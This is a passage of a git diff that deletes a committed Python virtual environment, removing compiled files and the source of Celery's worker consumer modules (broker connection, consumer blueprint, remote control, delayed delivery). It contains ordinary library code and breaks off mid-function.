a/backend/venv/Lib/site-packages/celery/worker/consumer/__pycache__/events.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/worker/consumer/__pycache__/gossip.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/worker/consumer/__pycache__/gossip.cpython-311.pyc deleted file mode 100644 index dcf425ec..00000000 Binary files a/backend/venv/Lib/site-packages/celery/worker/consumer/__pycache__/gossip.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/worker/consumer/__pycache__/heart.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/worker/consumer/__pycache__/heart.cpython-311.pyc deleted file mode 100644 index fc3d8f9b..00000000 Binary files a/backend/venv/Lib/site-packages/celery/worker/consumer/__pycache__/heart.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/worker/consumer/__pycache__/mingle.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/worker/consumer/__pycache__/mingle.cpython-311.pyc deleted file mode 100644 index 7b1c4fc7..00000000 Binary files a/backend/venv/Lib/site-packages/celery/worker/consumer/__pycache__/mingle.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/worker/consumer/__pycache__/tasks.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/worker/consumer/__pycache__/tasks.cpython-311.pyc deleted file mode 100644 index b6c50a66..00000000 Binary files a/backend/venv/Lib/site-packages/celery/worker/consumer/__pycache__/tasks.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/worker/consumer/agent.py b/backend/venv/Lib/site-packages/celery/worker/consumer/agent.py deleted file mode 100644 index ca6d1209..00000000 --- a/backend/venv/Lib/site-packages/celery/worker/consumer/agent.py +++ /dev/null @@ -1,21 +0,0 @@ -"""Celery + :pypi:`cell` integration.""" -from celery import bootsteps - -from .connection import Connection - -__all__ = ('Agent',) - - -class Agent(bootsteps.StartStopStep): - """Agent starts :pypi:`cell` actors.""" - - conditional = True - requires = (Connection,) - - def __init__(self, c, **kwargs): - self.agent_cls = self.enabled = c.app.conf.worker_agent - super().__init__(c, **kwargs) - - def create(self, c): - agent = c.agent = self.instantiate(self.agent_cls, c.connection) - return agent diff --git a/backend/venv/Lib/site-packages/celery/worker/consumer/connection.py b/backend/venv/Lib/site-packages/celery/worker/consumer/connection.py deleted file mode 100644 index 2992dc8c..00000000 --- a/backend/venv/Lib/site-packages/celery/worker/consumer/connection.py +++ /dev/null @@ -1,36 +0,0 @@ -"""Consumer Broker Connection Bootstep.""" -from kombu.common import ignore_errors - -from celery import bootsteps -from celery.utils.log import get_logger - -__all__ = ('Connection',) - -logger = get_logger(__name__) -info = logger.info - - -class Connection(bootsteps.StartStopStep): - """Service managing the consumer broker connection.""" - - def __init__(self, c, **kwargs): - c.connection = None - super().__init__(c, **kwargs) - - def start(self, c): - c.connection = c.connect() - info('Connected to %s', c.connection.as_uri()) - - def shutdown(self, c): - # We must set self.connection to None here, so - # that the green pidbox thread exits. - connection, c.connection = c.connection, None - if connection: - ignore_errors(connection, connection.close) - - def info(self, c): - params = 'N/A' - if c.connection: - params = c.connection.info() - params.pop('password', None) # don't send password. - return {'broker': params} diff --git a/backend/venv/Lib/site-packages/celery/worker/consumer/consumer.py b/backend/venv/Lib/site-packages/celery/worker/consumer/consumer.py deleted file mode 100644 index 3e6a66df..00000000 --- a/backend/venv/Lib/site-packages/celery/worker/consumer/consumer.py +++ /dev/null @@ -1,775 +0,0 @@ -"""Worker Consumer Blueprint. - -This module contains the components responsible for consuming messages -from the broker, processing the messages and keeping the broker connections -up and running. -""" -import errno -import logging -import os -import warnings -from collections import defaultdict -from time import sleep - -from billiard.common import restart_state -from billiard.exceptions import RestartFreqExceeded -from kombu.asynchronous.semaphore import DummyLock -from kombu.exceptions import ContentDisallowed, DecodeError -from kombu.utils.compat import _detect_environment -from kombu.utils.encoding import safe_repr -from kombu.utils.limits import TokenBucket -from vine import ppartial, promise - -from celery import bootsteps, signals -from celery.app.trace import build_tracer -from celery.exceptions import (CPendingDeprecationWarning, InvalidTaskError, NotRegistered, WorkerShutdown, - WorkerTerminate) -from celery.utils.functional import noop -from celery.utils.log import get_logger -from celery.utils.nodenames import gethostname -from celery.utils.objects import Bunch -from celery.utils.text import truncate -from celery.utils.time import humanize_seconds, rate -from celery.worker import loops -from celery.worker.state import active_requests, maybe_shutdown, requests, reserved_requests, task_reserved - -__all__ = ('Consumer', 'Evloop', 'dump_body') - -CLOSE = bootsteps.CLOSE -TERMINATE = bootsteps.TERMINATE -STOP_CONDITIONS = {CLOSE, TERMINATE} -logger = get_logger(__name__) -debug, info, warn, error, crit = (logger.debug, logger.info, logger.warning, - logger.error, logger.critical) - -CONNECTION_RETRY = """\ -consumer: Connection to broker lost. \ -Trying to re-establish the connection...\ -""" - -CONNECTION_RETRY_STEP = """\ -Trying again {when}... ({retries}/{max_retries})\ -""" - -CONNECTION_ERROR = """\ -consumer: Cannot connect to %s: %s. -%s -""" - -CONNECTION_FAILOVER = """\ -Will retry using next failover.\ -""" - -UNKNOWN_FORMAT = """\ -Received and deleted unknown message. Wrong destination?!? - -The full contents of the message body was: %s -""" - -#: Error message for when an unregistered task is received. -UNKNOWN_TASK_ERROR = """\ -Received unregistered task of type %s. -The message has been ignored and discarded. - -Did you remember to import the module containing this task? -Or maybe you're using relative imports? - -Please see -https://docs.celeryq.dev/en/latest/internals/protocol.html -for more information. - -The full contents of the message body was: -%s - -The full contents of the message headers: -%s - -The delivery info for this task is: -%s -""" - -#: Error message for when an invalid task message is received. -INVALID_TASK_ERROR = """\ -Received invalid task message: %s -The message has been ignored and discarded. - -Please ensure your message conforms to the task -message protocol as described here: -https://docs.celeryq.dev/en/latest/internals/protocol.html - -The full contents of the message body was: -%s -""" - -MESSAGE_DECODE_ERROR = """\ -Can't decode message body: %r [type:%r encoding:%r headers:%s] - -body: %s -""" - -MESSAGE_REPORT = """\ -body: {0} -{{content_type:{1} content_encoding:{2} - delivery_info:{3} headers={4}}} -""" - -TERMINATING_TASK_ON_RESTART_AFTER_A_CONNECTION_LOSS = """\ -Task %s cannot be acknowledged after a connection loss since late acknowledgement is enabled for it. -Terminating it instead. -""" - -CANCEL_TASKS_BY_DEFAULT = """ -In Celery 5.1 we introduced an optional breaking change which -on connection loss cancels all currently executed tasks with late acknowledgement enabled. -These tasks cannot be acknowledged as the connection is gone, and the tasks are automatically redelivered -back to the queue. You can enable this behavior using the worker_cancel_long_running_tasks_on_connection_loss -setting. In Celery 5.1 it is set to False by default. The setting will be set to True by default in Celery 6.0. -""" - - -def dump_body(m, body): - """Format message body for debugging purposes.""" - # v2 protocol does not deserialize body - body = m.body if body is None else body - return '{} ({}b)'.format(truncate(safe_repr(body), 1024), - len(m.body)) - - -class Consumer: - """Consumer blueprint.""" - - Strategies = dict - - #: Optional callback called the first time the worker - #: is ready to receive tasks. - init_callback = None - - #: The current worker pool instance. - pool = None - - #: A timer used for high-priority internal tasks, such - #: as sending heartbeats. - timer = None - - restart_count = -1 # first start is the same as a restart - - #: This flag will be turned off after the first failed - #: connection attempt. - first_connection_attempt = True - - class Blueprint(bootsteps.Blueprint): - """Consumer blueprint.""" - - name = 'Consumer' - default_steps = [ - 'celery.worker.consumer.connection:Connection', - 'celery.worker.consumer.mingle:Mingle', - 'celery.worker.consumer.events:Events', - 'celery.worker.consumer.gossip:Gossip', - 'celery.worker.consumer.heart:Heart', - 'celery.worker.consumer.control:Control', - 'celery.worker.consumer.tasks:Tasks', - 'celery.worker.consumer.delayed_delivery:DelayedDelivery', - 'celery.worker.consumer.consumer:Evloop', - 'celery.worker.consumer.agent:Agent', - ] - - def shutdown(self, parent): - self.send_all(parent, 'shutdown') - - def __init__(self, on_task_request, - init_callback=noop, hostname=None, - pool=None, app=None, - timer=None, controller=None, hub=None, amqheartbeat=None, - worker_options=None, disable_rate_limits=False, - initial_prefetch_count=2, prefetch_multiplier=1, **kwargs): - self.app = app - self.controller = controller - self.init_callback = init_callback - self.hostname = hostname or gethostname() - self.pid = os.getpid() - self.pool = pool - self.timer = timer - self.strategies = self.Strategies() - self.conninfo = self.app.connection_for_read() - self.connection_errors = self.conninfo.connection_errors - self.channel_errors = self.conninfo.channel_errors - self._restart_state = restart_state(maxR=5, maxT=1) - - self._does_info = logger.isEnabledFor(logging.INFO) - self._limit_order = 0 - self.on_task_request = on_task_request - self.on_task_message = set() - self.amqheartbeat_rate = self.app.conf.broker_heartbeat_checkrate - self.disable_rate_limits = disable_rate_limits - self.initial_prefetch_count = initial_prefetch_count - self.prefetch_multiplier = prefetch_multiplier - self._maximum_prefetch_restored = True - - # this contains a tokenbucket for each task type by name, used for - # rate limits, or None if rate limits are disabled for that task. - self.task_buckets = defaultdict(lambda: None) - self.reset_rate_limits() - - self.hub = hub - if self.hub or getattr(self.pool, 'is_green', False): - self.amqheartbeat = amqheartbeat - if self.amqheartbeat is None: - self.amqheartbeat = self.app.conf.broker_heartbeat - else: - self.amqheartbeat = 0 - - if not hasattr(self, 'loop'): - self.loop = loops.asynloop if hub else loops.synloop - - if _detect_environment() == 'gevent': - # there's a gevent bug that causes timeouts to not be reset, - # so if the connection timeout is exceeded once, it can NEVER - # connect again. - self.app.conf.broker_connection_timeout = None - - self._pending_operations = [] - - self.steps = [] - self.blueprint = self.Blueprint( - steps=self.app.steps['consumer'], - on_close=self.on_close, - ) - self.blueprint.apply(self, **dict(worker_options or {}, **kwargs)) - - def call_soon(self, p, *args, **kwargs): - p = ppartial(p, *args, **kwargs) - if self.hub: - return self.hub.call_soon(p) - self._pending_operations.append(p) - return p - - def perform_pending_operations(self): - if not self.hub: - while self._pending_operations: - try: - self._pending_operations.pop()() - except Exception as exc: # pylint: disable=broad-except - logger.exception('Pending callback raised: %r', exc) - - def bucket_for_task(self, type): - limit = rate(getattr(type, 'rate_limit', None)) - return TokenBucket(limit, capacity=1) if limit else None - - def reset_rate_limits(self): - self.task_buckets.update( - (n, self.bucket_for_task(t)) for n, t in self.app.tasks.items() - ) - - def _update_prefetch_count(self, index=0): - """Update prefetch count after pool/shrink grow operations. - - Index must be the change in number of processes as a positive - (increasing) or negative (decreasing) number. - - Note: - Currently pool grow operations will end up with an offset - of +1 if the initial size of the pool was 0 (e.g. - :option:`--autoscale=1,0 `). - """ - num_processes = self.pool.num_processes - if not self.initial_prefetch_count or not num_processes: - return # prefetch disabled - self.initial_prefetch_count = ( - self.pool.num_processes * self.prefetch_multiplier - ) - return self._update_qos_eventually(index) - - def _update_qos_eventually(self, index): - return (self.qos.decrement_eventually if index < 0 - else self.qos.increment_eventually)( - abs(index) * self.prefetch_multiplier) - - def _limit_move_to_pool(self, request): - task_reserved(request) - self.on_task_request(request) - - def _schedule_bucket_request(self, bucket): - while True: - try: - request, tokens = bucket.pop() - except IndexError: - # no request, break - break - - if bucket.can_consume(tokens): - self._limit_move_to_pool(request) - continue - else: - # requeue to head, keep the order. - bucket.contents.appendleft((request, tokens)) - - pri = self._limit_order = (self._limit_order + 1) % 10 - hold = bucket.expected_time(tokens) - self.timer.call_after( - hold, self._schedule_bucket_request, (bucket,), - priority=pri, - ) - # no tokens, break - break - - def _limit_task(self, request, bucket, tokens): - bucket.add((request, tokens)) - return self._schedule_bucket_request(bucket) - - def _limit_post_eta(self, request, bucket, tokens): - self.qos.decrement_eventually() - bucket.add((request, tokens)) - return self._schedule_bucket_request(bucket) - - def start(self): - blueprint = self.blueprint - while blueprint.state not in STOP_CONDITIONS: - maybe_shutdown() - if self.restart_count: - try: - self._restart_state.step() - except RestartFreqExceeded as exc: - crit('Frequent restarts detected: %r', exc, exc_info=1) - sleep(1) - self.restart_count += 1 - if self.app.conf.broker_channel_error_retry: - recoverable_errors = (self.connection_errors + self.channel_errors) - else: - recoverable_errors = self.connection_errors - try: - blueprint.start(self) - except recoverable_errors as exc: - # If we're not retrying connections, we need to properly shutdown or terminate - # the Celery main process instead of abruptly aborting the process without any cleanup. - is_connection_loss_on_startup = self.first_connection_attempt - self.first_connection_attempt = False - connection_retry_type = self._get_connection_retry_type(is_connection_loss_on_startup) - connection_retry = self.app.conf[connection_retry_type] - if not connection_retry: - crit( - f"Retrying to {'establish' if is_connection_loss_on_startup else 're-establish'} " - f"a connection to the message broker after a connection loss has " - f"been disabled (app.conf.{connection_retry_type}=False). Shutting down..." - ) - raise WorkerShutdown(1) from exc - if isinstance(exc, OSError) and exc.errno == errno.EMFILE: - crit("Too many open files. Aborting...") - raise WorkerTerminate(1) from exc - maybe_shutdown() - if blueprint.state not in STOP_CONDITIONS: - if self.connection: - self.on_connection_error_after_connected(exc) - else: - self.on_connection_error_before_connected(exc) - self.on_close() - blueprint.restart(self) - - def _get_connection_retry_type(self, is_connection_loss_on_startup): - return ('broker_connection_retry_on_startup' - if (is_connection_loss_on_startup - and self.app.conf.broker_connection_retry_on_startup is not None) - else 'broker_connection_retry') - - def on_connection_error_before_connected(self, exc): - error(CONNECTION_ERROR, self.conninfo.as_uri(), exc, - 'Trying to reconnect...') - - def on_connection_error_after_connected(self, exc): - warn(CONNECTION_RETRY, exc_info=True) - try: - self.connection.collect() - except Exception: # pylint: disable=broad-except - pass - - if self.app.conf.worker_cancel_long_running_tasks_on_connection_loss: - for request in tuple(active_requests): - if request.task.acks_late and not request.acknowledged: - warn(TERMINATING_TASK_ON_RESTART_AFTER_A_CONNECTION_LOSS, - request) - request.cancel(self.pool) - else: - warnings.warn(CANCEL_TASKS_BY_DEFAULT, CPendingDeprecationWarning) - - if self.app.conf.worker_enable_prefetch_count_reduction: - self.initial_prefetch_count = max( - self.prefetch_multiplier, - self.max_prefetch_count - len(tuple(active_requests)) * self.prefetch_multiplier - ) - - self._maximum_prefetch_restored = self.initial_prefetch_count == self.max_prefetch_count - if not self._maximum_prefetch_restored: - logger.info( - f"Temporarily reducing the prefetch count to {self.initial_prefetch_count} to avoid " - f"over-fetching since {len(tuple(active_requests))} tasks are currently being processed.\n" - f"The prefetch count will be gradually restored to {self.max_prefetch_count} as the tasks " - "complete processing." - ) - - def register_with_event_loop(self, hub): - self.blueprint.send_all( - self, 'register_with_event_loop', args=(hub,), - description='Hub.register', - ) - - def shutdown(self): - self.perform_pending_operations() - self.blueprint.shutdown(self) - - def stop(self): - self.blueprint.stop(self) - - def on_ready(self): - callback, self.init_callback = self.init_callback, None - if callback: - callback(self) - - def loop_args(self): - return (self, self.connection, self.task_consumer, - self.blueprint, self.hub, self.qos, self.amqheartbeat, - self.app.clock, self.amqheartbeat_rate) - - def on_decode_error(self, message, exc): - """Callback called if an error occurs while decoding a message. - - Simply logs the error and acknowledges the message so it - doesn't enter a loop. - - Arguments: - message (kombu.Message): The message received. - exc (Exception): The exception being handled. - """ - crit(MESSAGE_DECODE_ERROR, - exc, message.content_type, message.content_encoding, - safe_repr(message.headers), dump_body(message, message.body), - exc_info=1) - message.ack() - - def on_close(self): - # Clear internal queues to get rid of old messages. - # They can't be acked anyway, as a delivery tag is specific - # to the current channel. - if self.controller and self.controller.semaphore: - self.controller.semaphore.clear() - if self.timer: - self.timer.clear() - for bucket in self.task_buckets.values(): - if bucket: - bucket.clear_pending() - for request_id in reserved_requests: - if request_id in requests: - del requests[request_id] - reserved_requests.clear() - if self.pool and self.pool.flush: - self.pool.flush() - - def connect(self): - """Establish the broker connection used for consuming tasks. - - Retries establishing the connection if the - :setting:`broker_connection_retry` setting is enabled - """ - conn = self.connection_for_read(heartbeat=self.amqheartbeat) - if self.hub: - conn.transport.register_with_event_loop(conn.connection, self.hub) - return conn - - def connection_for_read(self, heartbeat=None): - return self.ensure_connected( - self.app.connection_for_read(heartbeat=heartbeat)) - - def connection_for_write(self, url=None, heartbeat=None): - return self.ensure_connected( - self.app.connection_for_write(url=url, heartbeat=heartbeat)) - - def ensure_connected(self, conn): - # Callback called for each retry while the connection - # can't be established. - def _error_handler(exc, interval, next_step=CONNECTION_RETRY_STEP): - if getattr(conn, 'alt', None) and interval == 0: - next_step = CONNECTION_FAILOVER - next_step = next_step.format( - when=humanize_seconds(interval, 'in', ' '), - retries=int(interval / 2), - max_retries=self.app.conf.broker_connection_max_retries) - error(CONNECTION_ERROR, conn.as_uri(), exc, next_step) - - # Remember that the connection is lazy, it won't establish - # until needed. - - # TODO: Rely only on broker_connection_retry_on_startup to determine whether connection retries are disabled. - # We will make the switch in Celery 6.0. - - retry_disabled = False - - if self.app.conf.broker_connection_retry_on_startup is None: - # If broker_connection_retry_on_startup is not set, revert to broker_connection_retry - # to determine whether connection retries are disabled. - retry_disabled = not self.app.conf.broker_connection_retry - - if retry_disabled: - warnings.warn( - CPendingDeprecationWarning( - "The broker_connection_retry configuration setting will no longer determine\n" - "whether broker connection retries are made during startup in Celery 6.0 and above.\n" - "If you wish to refrain from retrying connections on startup,\n" - "you should set broker_connection_retry_on_startup to False instead.") - ) - else: - if self.first_connection_attempt: - retry_disabled = not self.app.conf.broker_connection_retry_on_startup - else: - retry_disabled = not self.app.conf.broker_connection_retry - - if retry_disabled: - # Retry disabled, just call connect directly. - conn.connect() - self.first_connection_attempt = False - return conn - - conn = conn.ensure_connection( - _error_handler, self.app.conf.broker_connection_max_retries, - callback=maybe_shutdown, - ) - self.first_connection_attempt = False - return conn - - def _flush_events(self): - if self.event_dispatcher: - self.event_dispatcher.flush() - - def on_send_event_buffered(self): - if self.hub: - self.hub._ready.add(self._flush_events) - - def add_task_queue(self, queue, exchange=None, exchange_type=None, - routing_key=None, **options): - cset = self.task_consumer - queues = self.app.amqp.queues - # Must use in' here, as __missing__ will automatically - # create queues when :setting:`task_create_missing_queues` is enabled. - # (Issue #1079) - if queue in queues: - q = queues[queue] - else: - exchange = queue if exchange is None else exchange - exchange_type = ('direct' if exchange_type is None - else exchange_type) - q = queues.select_add(queue, - exchange=exchange, - exchange_type=exchange_type, - routing_key=routing_key, **options) - if not cset.consuming_from(queue): - cset.add_queue(q) - cset.consume() - info('Started consuming from %s', queue) - - def cancel_task_queue(self, queue): - info('Canceling queue %s', queue) - self.app.amqp.queues.deselect(queue) - self.task_consumer.cancel_by_queue(queue) - - def apply_eta_task(self, task): - """Method called by the timer to apply a task with an ETA/countdown.""" - task_reserved(task) - self.on_task_request(task) - self.qos.decrement_eventually() - - def _message_report(self, body, message): - return MESSAGE_REPORT.format(dump_body(message, body), - safe_repr(message.content_type), - safe_repr(message.content_encoding), - safe_repr(message.delivery_info), - safe_repr(message.headers)) - - def on_unknown_message(self, body, message): - warn(UNKNOWN_FORMAT, self._message_report(body, message)) - message.reject_log_error(logger, self.connection_errors) - signals.task_rejected.send(sender=self, message=message, exc=None) - - def on_unknown_task(self, body, message, exc): - error(UNKNOWN_TASK_ERROR, - exc, - dump_body(message, body), - message.headers, - message.delivery_info, - exc_info=True) - try: - id_, name = message.headers['id'], message.headers['task'] - root_id = message.headers.get('root_id') - except KeyError: # proto1 - payload = message.payload - id_, name = payload['id'], payload['task'] - root_id = None - request = Bunch( - name=name, chord=None, root_id=root_id, - correlation_id=message.properties.get('correlation_id'), - reply_to=message.properties.get('reply_to'), - errbacks=None, - ) - message.reject_log_error(logger, self.connection_errors) - self.app.backend.mark_as_failure( - id_, NotRegistered(name), request=request, - ) - if self.event_dispatcher: - self.event_dispatcher.send( - 'task-failed', uuid=id_, - exception=f'NotRegistered({name!r})', - ) - signals.task_unknown.send( - sender=self, message=message, exc=exc, name=name, id=id_, - ) - - def on_invalid_task(self, body, message, exc): - error(INVALID_TASK_ERROR, exc, dump_body(message, body), - exc_info=True) - message.reject_log_error(logger, self.connection_errors) - signals.task_rejected.send(sender=self, message=message, exc=exc) - - def update_strategies(self): - loader = self.app.loader - for name, task in self.app.tasks.items(): - self.strategies[name] = task.start_strategy(self.app, self) - task.__trace__ = build_tracer(name, task, loader, self.hostname, - app=self.app) - - def create_task_handler(self, promise=promise): - strategies = self.strategies - on_unknown_message = self.on_unknown_message - on_unknown_task = self.on_unknown_task - on_invalid_task = self.on_invalid_task - callbacks = self.on_task_message - call_soon = self.call_soon - - def on_task_received(message): - # payload will only be set for v1 protocol, since v2 - # will defer deserializing the message body to the pool. - payload = None - try: - type_ = message.headers['task'] # protocol v2 - except TypeError: - return on_unknown_message(None, message) - except KeyError: - try: - payload = message.decode() - except Exception as exc: # pylint: disable=broad-except - return self.on_decode_error(message, exc) - try: - type_, payload = payload['task'], payload # protocol v1 - except (TypeError, KeyError): - return on_unknown_message(payload, message) - try: - strategy = strategies[type_] - except KeyError as exc: - return on_unknown_task(None, message, exc) - else: - try: - ack_log_error_promise = promise( - call_soon, - (message.ack_log_error,), - on_error=self._restore_prefetch_count_after_connection_restart, - ) - reject_log_error_promise = promise( - call_soon, - (message.reject_log_error,), - on_error=self._restore_prefetch_count_after_connection_restart, - ) - - if ( - not self._maximum_prefetch_restored - and self.restart_count > 0 - and self._new_prefetch_count <= self.max_prefetch_count - ): - ack_log_error_promise.then(self._restore_prefetch_count_after_connection_restart, - on_error=self._restore_prefetch_count_after_connection_restart) - reject_log_error_promise.then(self._restore_prefetch_count_after_connection_restart, - on_error=self._restore_prefetch_count_after_connection_restart) - - strategy( - message, payload, - ack_log_error_promise, - reject_log_error_promise, - callbacks, - ) - except (InvalidTaskError, ContentDisallowed) as exc: - return on_invalid_task(payload, message, exc) - except DecodeError as exc: - return self.on_decode_error(message, exc) - - return on_task_received - - def _restore_prefetch_count_after_connection_restart(self, p, *args): - with self.qos._mutex: - if any(( - not self.app.conf.worker_enable_prefetch_count_reduction, - self._maximum_prefetch_restored, - )): - return - - new_prefetch_count = min(self.max_prefetch_count, self._new_prefetch_count) - self.qos.value = self.initial_prefetch_count = new_prefetch_count - self.qos.set(self.qos.value) - - already_restored = self._maximum_prefetch_restored - self._maximum_prefetch_restored = new_prefetch_count == self.max_prefetch_count - - if already_restored is False and self._maximum_prefetch_restored is True: - logger.info( - "Resuming normal operations following a restart.\n" - f"Prefetch count has been restored to the maximum of {self.max_prefetch_count}" - ) - - @property - def max_prefetch_count(self): - return self.pool.num_processes * self.prefetch_multiplier - - @property - def _new_prefetch_count(self): - return self.qos.value + self.prefetch_multiplier - - def __repr__(self): - """``repr(self)``.""" - return ''.format( - self=self, state=self.blueprint.human_state(), - ) - - def cancel_all_unacked_requests(self): - """Cancel all active requests that either do not require late acknowledgments or, - if they do, have not been acknowledged yet. - """ - - def should_cancel(request): - if not request.task.acks_late: - # Task does not require late acknowledgment, cancel it. - return True - - if not request.acknowledged: - # Task is late acknowledged, but it has not been acknowledged yet, cancel it. - return True - - # Task is late acknowledged, but it has already been acknowledged. - return False # Do not cancel and allow it to gracefully finish as it has already been acknowledged. - - requests_to_cancel = tuple(filter(should_cancel, active_requests)) - - if requests_to_cancel: - for request in requests_to_cancel: - request.cancel(self.pool) - - -class Evloop(bootsteps.StartStopStep): - """Event loop service. - - Note: - This is always started last. - """ - - label = 'event loop' - last = True - - def start(self, c): - self.patch_all(c) - c.loop(*c.loop_args()) - - def patch_all(self, c): - c.qos._mutex = DummyLock() diff --git a/backend/venv/Lib/site-packages/celery/worker/consumer/control.py b/backend/venv/Lib/site-packages/celery/worker/consumer/control.py deleted file mode 100644 index b0ca3ef8..00000000 --- a/backend/venv/Lib/site-packages/celery/worker/consumer/control.py +++ /dev/null @@ -1,33 +0,0 @@ -"""Worker Remote Control Bootstep. - -``Control`` -> :mod:`celery.worker.pidbox` -> :mod:`kombu.pidbox`. - -The actual commands are implemented in :mod:`celery.worker.control`. -""" -from celery import bootsteps -from celery.utils.log import get_logger -from celery.worker import pidbox - -from .tasks import Tasks - -__all__ = ('Control',) - -logger = get_logger(__name__) - - -class Control(bootsteps.StartStopStep): - """Remote control command service.""" - - requires = (Tasks,) - - def __init__(self, c, **kwargs): - self.is_green = c.pool is not None and c.pool.is_green - self.box = (pidbox.gPidbox if self.is_green else pidbox.Pidbox)(c) - self.start = self.box.start - self.stop = self.box.stop - self.shutdown = self.box.shutdown - super().__init__(c, **kwargs) - - def include_if(self, c): - return (c.app.conf.worker_enable_remote_control and - c.conninfo.supports_exchange_type('fanout')) diff --git a/backend/venv/Lib/site-packages/celery/worker/consumer/delayed_delivery.py b/backend/venv/Lib/site-packages/celery/worker/consumer/delayed_delivery.py deleted file mode 100644 index 66a55015..00000000 --- a/backend/venv/Lib/site-packages/celery/worker/consumer/delayed_delivery.py +++ /dev/null @@ -1,247 +0,0 @@ -"""Native delayed delivery functionality for Celery workers. - -This module provides the DelayedDelivery bootstep which handles setup and configuration -of native delayed delivery functionality when using quorum queues. -""" -from typing import Iterator, List, Optional, Set, Union, ValuesView - -from kombu import Connection, Queue -from kombu.transport.native_delayed_delivery import (bind_queue_to_native_delayed_delivery_exchange, - declare_native_delayed_delivery_exchanges_and_queues) -from kombu.utils.functional import retry_over_time - -from celery import Celery, bootsteps -from celery.utils.log import get_logger -from celery.utils.quorum_queues import detect_quorum_queues -from celery.worker.consumer import Consumer, Tasks - -__all__ = ('DelayedDelivery',) - -logger = get_logger(__name__) - - -# Default retry settings -RETRY_INTERVAL = 1.0 # seconds between retries -MAX_RETRIES = 3 # maximum number of retries - - -# Valid queue types for delayed delivery -VALID_QUEUE_TYPES = {'classic', 'quorum'} - - -class DelayedDelivery(bootsteps.StartStopStep): - """Bootstep that sets up native delayed delivery functionality. - - This component handles the setup and configuration of native delayed delivery - for Celery workers. It is automatically included when quorum queues are - detected in the application configuration. - - Responsibilities: - - Declaring native delayed delivery exchanges and queues - - Binding all application queues to the delayed delivery exchanges - - Handling connection failures gracefully with retries - - Validating configuration settings - """ - - requires = (Tasks,) - - def include_if(self, c: Consumer) -> bool: - """Determine if this bootstep should be included. - - Args: - c: The Celery consumer instance - - Returns: - bool: True if quorum queues are detected, False otherwise - """ - return detect_quorum_queues(c.app, c.app.connection_for_write().transport.driver_type)[0] - - def start(self, c: Consumer) -> None: - """Initialize delayed delivery for all broker URLs. - - Attempts to set up delayed delivery for each broker URL in the configuration. - Failures are logged but don't prevent attempting remaining URLs. - - Args: - c: The Celery consumer instance - - Raises: - ValueError: If configuration validation fails - """ - app: Celery = c.app - - try: - self._validate_configuration(app) - except ValueError as e: - logger.critical("Configuration validation failed: %s", str(e)) - raise - - broker_urls = self._validate_broker_urls(app.conf.broker_url) - setup_errors = [] - - for broker_url in broker_urls: - try: - retry_over_time( - self._setup_delayed_delivery, - args=(c, broker_url), - catch=(ConnectionRefusedError, OSError), - errback=self._on_retry, - interval_start=RETRY_INTERVAL, - max_retries=MAX_RETRIES, - ) - except Exception as e: - logger.warning( - "Failed to setup delayed delivery for %r: %s", - broker_url, str(e) - ) - setup_errors.append((broker_url, e)) - - if len(setup_errors) == len(broker_urls): - logger.critical( - "Failed to setup delayed delivery for all broker URLs. " - "Native delayed delivery will not be available." - ) - - def _setup_delayed_delivery(self, c: Consumer, broker_url: str) -> None: - """Set up delayed delivery for a specific broker URL. - - Args: - c: The Celery consumer instance - broker_url: The broker URL to configure - - Raises: - ConnectionRefusedError: If connection to the broker fails - OSError: If there are network-related issues - Exception: For other unexpected errors during setup - """ - connection: Connection = c.app.connection_for_write(url=broker_url) - queue_type = c.app.conf.broker_native_delayed_delivery_queue_type - logger.debug( - "Setting up delayed delivery for broker %r with queue type %r", - broker_url, queue_type - ) - - try: - declare_native_delayed_delivery_exchanges_and_queues( - connection, - queue_type - ) - except Exception as e: - logger.warning( - "Failed to declare exchanges and queues for %r: %s", - broker_url, str(e) - ) - raise - - try: - self._bind_queues(c.app, connection) - except Exception as e: - logger.warning( - "Failed to bind queues for %r: %s", - broker_url, str(e) - ) - raise - - def _bind_queues(self, app: Celery, connection: Connection) -> None: - """Bind all application queues to delayed delivery exchanges. - - Args: - app: The Celery application instance - connection: The broker connection to use - - Raises: - Exception: If queue binding fails - """ - queues: ValuesView[Queue] = app.amqp.queues.values() - if not queues: - logger.warning("No queues found to bind for delayed delivery") - return - - for queue in queues: - try: - logger.debug("Binding queue %r to delayed delivery exchange", queue.name) - bind_queue_to_native_delayed_delivery_exchange(connection, queue) - except Exception as e: - logger.error( - "Failed to bind queue %r: %s", - queue.name, str(e) - ) - raise - - def _on_retry(self, exc: Exception, interval_range: Iterator[float], intervals_count: int) -> None: - """Callback for retry attempts. - - Args: - exc: The exception that triggered the retry - interval_range: An iterator which returns the time in seconds to sleep next - intervals_count: Number of retry attempts so far - """ - logger.warning( - "Retrying delayed delivery setup (attempt %d/%d) after error: %s", - intervals_count + 1, MAX_RETRIES, str(exc) - ) - - def _validate_configuration(self, app: Celery) -> None: - """Validate all required configuration settings. - - Args: - app: The Celery application instance - - Raises: - ValueError: If any configuration is invalid - """ - # Validate broker URLs - self._validate_broker_urls(app.conf.broker_url) - - # Validate queue type - self._validate_queue_type(app.conf.broker_native_delayed_delivery_queue_type) - - def _validate_broker_urls(self, broker_urls: Union[str, List[str]]) -> Set[str]: - """Validate and split broker URLs. - - Args: - broker_urls: Broker URLs, either as a semicolon-separated string - or as a list of strings - - Returns: - Set of valid broker URLs - - Raises: - ValueError: If no valid broker URLs are found or if invalid URLs are provided - """ - if not broker_urls: - raise ValueError("broker_url configuration is empty") - - if isinstance(broker_urls, str): - brokers = broker_urls.split(";") - elif isinstance(broker_urls, list): - if not all(isinstance(url, str) for url in broker_urls): - raise ValueError("All broker URLs must be strings") - brokers = broker_urls - else: - raise ValueError(f"broker_url must be a string or list, got {broker_urls!r}") - - valid_urls = {url for url in brokers} - - if not valid_urls: - raise ValueError("No valid broker URLs found in configuration") - - return valid_urls - - def _validate_queue_type(self, queue_type: Optional[str]) -> None: - """Validate the queue type configuration. - - Args: - queue_type: The configured queue type - - Raises: - ValueError: If queue type is invalid - """ - if not queue_type: - raise ValueError("broker_native_delayed_delivery_queue_type is not configured") - - if queue_type not in 